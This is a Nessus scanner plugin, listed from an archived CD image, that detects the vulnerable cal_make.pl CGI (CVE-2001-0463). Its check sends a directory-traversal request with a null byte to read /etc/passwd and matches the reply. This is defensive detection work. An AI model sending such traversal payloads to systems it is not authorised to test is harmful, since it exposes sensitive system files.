home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / perl_cal.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  78 lines
  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10664);
  10.  script_bugtraq_id(2663);
  11.  script_version ("$Revision: 1.12 $");
  12.  script_cve_id("CVE-2001-0463");
  13.  
  14.  name["english"] = "perlcal";
  15.  name["francais"] = "perlcal";
  16.  script_name(english:name["english"], francais:name["francais"]);
  17.  
  18.  desc["english"] = "The 'cal_make.pl' cgi is installed. This CGI has
  19. a well known security flaw that lets anyone read arbitrary
  20. files with the privileges of the http daemon (root or nobody).
  21.  
  22. Solution : remove it from /cgi-bin.
  23.  
  24. Risk factor : High";
  25.  
  26.  
  27.  desc["francais"] = "Le cgi 'cal_make.pl' est installΘ. Celui-ci possΦde
  28. un problΦme de sΘcuritΘ bien connu qui permet α n'importe qui de faire
  29. lire des fichiers arbitraires au daemon http, avec les privilΦges
  30. de celui-ci (root ou nobody). 
  31.  
  32. Solution : retirez-le de /cgi-bin.
  33.  
  34. Facteur de risque : SΘrieux";
  35.  
  36.  
  37.  script_description(english:desc["english"], francais:desc["francais"]);
  38.  
  39.  summary["english"] = "Checks for the presence of /cgi-bin/cal_make.pl";
  40.  summary["francais"] = "VΘrifie la prΘsence de /cgi-bin/cal_make.pl";
  41.  
  42.  script_summary(english:summary["english"], francais:summary["francais"]);
  43.  
  44.  script_category(ACT_GATHER_INFO);
  45.  
  46.  
  47.  script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison",
  48.         francais:"Ce script est Copyright (C) 2001 Renaud Deraison");
  49.  family["english"] = "CGI abuses";
  50.  family["francais"] = "Abus de CGI";
  51.  script_family(english:family["english"], francais:family["francais"]);
  52.  script_dependencie("find_service.nes", "no404.nasl");
  53.  script_require_ports("Services/www", 80);
  54.  exit(0);
  55. }
  56.  
  57. #
  58. # The script code starts here
  59. #
  60.  
  61. include("http_func.inc");
  62. include("http_keepalive.inc");
  63.  
  64.  
  65. port = get_http_port(default:80);
  66.  
  67.  
  68. if(!get_port_state(port))exit(0);
  69.  
  70. foreach dir (cgi_dirs())
  71. {
  72.  data = string(dir, "/cal_make.pl?p0=../../../../../../../../../etc/passwd%00");
  73.  data = http_get(item:data, port:port);
  74.  buf = http_keepalive_send_recv(port:port, data:data);
  75.  if( buf == NULL ) exit(0);
  76.  if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf))security_hole(port);
  77. }
  78.